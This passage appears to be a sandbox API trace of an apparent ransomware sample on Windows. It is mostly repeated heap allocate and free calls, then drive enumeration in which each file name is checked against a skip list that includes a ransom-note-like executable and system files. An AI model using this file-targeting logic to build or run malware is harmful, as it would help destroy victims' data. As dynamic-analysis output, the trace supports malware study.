	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.588] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.588] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.589] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.589] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.590] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.590] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.591] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.591] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.592] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.592] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.593] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x5bd858
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bd858 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599878 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599660 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599a88 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8b78 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599030 | out: hHeap=0x580000) returned 1
	[0035.593] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0035.593] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0035.593] CloseHandle (hObject=0xb8) returned 1
	[0035.593] CloseHandle (hObject=0xb4) returned 1
	[0035.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c9418 | out: hHeap=0x580000) returned 1
	[0035.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0035.595] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x2d40020 | out: hHeap=0x580000) returned 1
	[0035.595] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="Apollon865.txt.exe") returned 1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2=".") returned 1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="..") returned 1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="windows") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="bootmgr") returned 1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="temp") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="pagefile.sys") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="boot") returned 1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="ids.txt") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="ntuser.dat") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="perflogs") returned -1
	[0035.595] lstrcmpiW (lpString1="Config.Msi", lpString2="MSBuild") returned -1
	[0035.595] lstrlenW (lpString="Config.Msi") returned 10
	[0035.595] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15
	[0035.595] lstrcpyW (in: lpString1=0x2d3e556, lpString2="Config.Msi" | out: lpString1="Config.Msi") returned="Config.Msi"
	[0035.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7848
	[0035.595] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x1c) returned 0x5978f8
	[0035.595] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7850 | out: ListHead=0x5b76b0, ListEntry=0x5b7850) returned 0x5b7670
	[0035.595] FindNextFileW (in: hFindFile=0x5ca050, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1
	[0035.595] lstrcmpiW (lpString1="Documents and Settings", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0035.595] lstrcmpiW (lpString1="Documents and Settings", lpString2="Apollon865.txt.exe") returned 1
	[0035.595] lstrcmpiW (lpString1="Documents and Settings", lpString2=".") returned 1
	[0035.595] lstrcmpiW (lpString1="Documents and Settings", lpString2="..") returned 1
	[0035.595] lstrcmpiW (lpString1="Documents and Settings", lpString2="windows") returned -1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="bootmgr") returned 1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="temp") returned -1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="pagefile.sys") returned -1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="boot") returned 1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="ids.txt") returned -1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="ntuser.dat") returned -1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="perflogs") returned -1
	[0035.596] lstrcmpiW (lpString1="Documents and Settings", lpString2="MSBuild") returned -1
	[0035.596] lstrlenW (lpString="Documents and Settings") returned 22
	[0035.596] lstrlenW (lpString="C:\\Config.Msi") returned 13
	[0035.596] lstrcpyW (in: lpString1=0x2d3e556, lpString2="Documents and Settings" | out: lpString1="Documents and Settings") returned="Documents and Settings"
	[0035.596] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7868
